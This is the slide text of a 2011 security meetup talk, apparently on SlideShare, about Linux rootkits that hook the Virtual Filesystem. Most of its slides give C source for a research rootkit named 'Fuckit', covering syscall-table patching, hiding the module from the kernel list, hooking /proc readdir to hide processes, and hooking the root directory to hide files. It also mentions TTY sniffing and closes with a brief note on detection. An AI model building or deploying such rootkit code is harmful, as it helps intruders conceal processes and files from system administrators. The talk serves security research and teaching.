Confraria Security & IT - Lisbon Set 29, 2011

376 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
376
On SlideShare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
3
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Confraria Security & IT - Lisbon Set 29, 2011

  1. 1. Linux rootkits without syscall patching, (the VFS way)<br />Confraria SECURITY & IT – 28 Set 2011<br />
  2. 2. #> whoami<br /><ul><li>Ricardo Mourato – 25 yo
  3. 3. Computer Science Degree
  4. 4. InfoSec & SuperBock Stout addicted
  5. 5. OS X, Slackware, FreeBSD, OpenBSD, Solaris fanatic
  6. 6. Java, .Net, Python, Ruby, C, C++, ASM Lover
  7. 7. Windows (All versions) , Perl (All versions) and Printers (Yes, they came from hell !) hater
  8. 8. root, right here :)</li></ul>2<br />
  9. 9. Agenda<br /><ul><li>Linux rootkits – brief talk
  10. 10. Linux 2.{5,6} kernel – what changed ?
  11. 11. The Virtual Filesystem (VFS)
  12. 12. Meet /proc, our friend!
  13. 13. Introducing
  14. 14. Show time 
  15. 15. Retrospect
  16. 16. Questions & Answers</li></ul>3<br />
  17. 17. Linux rootkits – how they were?<br /><ul><li>In the beginning…
  18. 18. User-land Trojaned binaries mostly
  19. 19. Easy to spot
  20. 20. Easy to code
  21. 21. However, hard to hide!
  22. 22. LRK5 was a good bastard…</li></ul>4<br />
  23. 23. Linux rootkits – how they were?<br /><ul><li>Not so far away…
  24. 24. The Kernel-land approach
  25. 25. Loadable Kernel Modules or /dev/kmem “patching”
  26. 26. Syscall patching
  27. 27. Easy to code
  28. 28. Less easy to find</li></ul>Adore & suckit were also good bastards!<br />5<br />
  29. 29. Linux rootkits – how they were?<br />extern void *sys_call_table[];<br />int init_module(void) {<br />original_call = sys_call_table[__NR_open]; <br /> sys_call_table[__NR_open] =evil_open; <br /> return 0; <br />}<br />6<br />
  30. 30. Linux 2.{5,6} – what changed?<br /><ul><li>Main change:
  31. 31. OMG! sys_call_table[] no longer exported!!!
  32. 32. Even if you find it, it will be read-only
  33. 33. Workaround:
  34. 34. Find IDT
  35. 35. Find the 0x80 interrupt
  36. 36. Get the system_call() function location
  37. 37. Use gdb kung fu and search memory for sys_call_table[] within this function</li></ul>7<br />
  38. 38. Linux 2.{5,6} – what changed?<br />$ gdb -q /usr/src/linux/vmlinux<br />(no debugging symbols found)...(gdb) disass system_call<br />…<br />0xc0106bf4 : call *0xc01e0f18(,%eax,4)<br />…<br />(gdb) print &sys_call_table<br /> $1 = ( *) 0xc01e0f18<br />8<br />
  39. 39. The Virtal Filesystem<br /><ul><li>Is the primary interface to underlying filesystems (common file model)
  40. 40. Exports a set of interfaces for every individual filesystem
  41. 41. Each filesystem must “implement” this interface in order to become a common file model
  42. 42. Some interesting players are:
  43. 43. struct dentry;
  44. 44. struct file_operations;
  45. 45. struct inode_operations;</li></ul>9<br />
  46. 46. /proc is our friend<br /><ul><li>So… everything in linux “is a file” right?
  47. 47. Including the ones located at /proc even if “in memory”
  48. 48. And… most user-land tools rely on /proc to get information!
  49. 49. This tools include:
  50. 50. ps
  51. 51. netstat
  52. 52. top
  53. 53. mount
  54. 54. And many, many others…
  55. 55. Remember struct file_operations ? </li></ul>10<br />
  56. 56. Introducing Fuckit…<br /><ul><li>Fu Control Kit (just in case!)
  57. 57. A research born VFS rootkit capable of:
  58. 58. Hide itself  No sh*t sherlock?
  59. 59. Hide processes
  60. 60. Hide files and directories
  61. 61. TTY sniffing</li></ul>11<br />
  62. 62. Module hiding<br /><ul><li>Modules are linked together in a double link list maintained by the kernel
  63. 63. The kernel have internal functions to “unlink” the unloaded modules from the list
  64. 64. Just use them wisely </li></ul>12<br />
  65. 65. Module hiding<br />static struct module *m = THIS_MODULE;<br />void hideme(void){<br />kobject_del(&m->mkobj.kobj);<br />list_del(&m->list);<br />}<br />13<br />
  66. 66. “Hook” the Virtual Filesystem (/proc)<br />static struct file_operations *proc_fops;  remember again? <br />void hook_proc(void){<br />/* we are not /proc yet */<br /> key = create_proc_entry(KEY,0666,NULL);<br />/* now we become /proc :) */<br /> proc = key->parent;<br />/* save the original, we will need it later*/<br /> proc_fops = (struct file_operations *)proc->proc_fops;<br /> original_proc_readdir = proc_fops->readdir;<br />/* tha hook */<br />proc_fops->readdir = fuckit_proc_readdir;<br />}<br />14<br />
  67. 67. “Hook” the Virtual Filesystem (/)<br />static struct file *f;<br />int hook_root(void){<br /> f = filp_open("/",O_RDONLY,0600);<br /> if(IS_ERR(f)){<br /> return -1;<br /> }<br /> original_root_readdir = f->f_op->readdir;<br /> f->f_op->readdir=fuckit_root_readdir;<br /> filp_close(f,NULL);<br />return 0; <br />}<br />15<br />
  68. 68. Process hiding<br />static inline int fuckit_proc_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){<br /> //our hidden PID :)<br />if(!strcmp(name,HIDDEN_PID) || !strcmp(name,KEY)){<br /> return 0;<br /> }<br />return original_filldir(__buf,name,namelen,offset,ino,d_type); <br />}<br />static inline int fuckit_proc_readdir(struct file *filp, void *dirent, filldir_t filldir){<br /> //save this, we will need to return it later<br /> original_filldir = filldir;<br /> return original_proc_readdir(filp,dirent,fuckit_proc_filldir);<br />}<br />16<br />
  69. 69. File and Directory hiding<br />static int fuckit_root_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type){<br /> //if is our hidden file/directory return nothing! :)<br /> if(strncmp(name,HIDDEN_DIR,namelen)==0){<br />return 0;<br /> }<br />return original_root_filldir(__buf,name,namelen,offset,ino,d_type); <br />}<br />static int fuckit_root_readdir(struct file *filp, void *dirent, filldir_t filldir){<br /> //save this, we will need to return it later<br /> original_root_filldir = filldir;<br /> return original_root_readdir(filp,dirent,fuckit_root_filldir);<br />}<br />17<br />
  70. 70. Seeing is believing<br />18<br />
  71. 71. Retrospect<br /><ul><li>Syscall patching in 2.6 kernel is a true “pain in the a**”
  72. 72. VFS hooks, they also do the job!
  73. 73. It is a good approach, however it has some cons
  74. 74. It is possible to “brute force” /proc for hidden pids
  75. 75. You should let the Linux scheduler do this job!
  76. 76. Hypervisor rootkits will kill -9 every kernel rookits on earth! </li></ul>19<br />
  77. 77. References<br /><ul><li>IBM developerWorks “Anatomy of the Linux filesystem”. Internet: http://www.ibm.com/developerworks/linux/library/l-linux-filesystem/. [Jan 25, 2011]
  78. 78. WangYao “Rootkit on Linux x86 v2.6” [Apr 21, 2009]
  79. 79. Dump “hideme (ng)”. Internet: http://trace.dump.cz/projects.php [Jan 25, 2011]
  80. 80. Ubra “Process Hiding & The Linux scheduler”. Internet: http://www.phrack.org/issues.html?issue=63&id=18 [Jan 25, 2011]</li></ul>20<br />
  81. 81. 21<br />
  82. 82. Questions & Answers<br />?<br />22<br />

×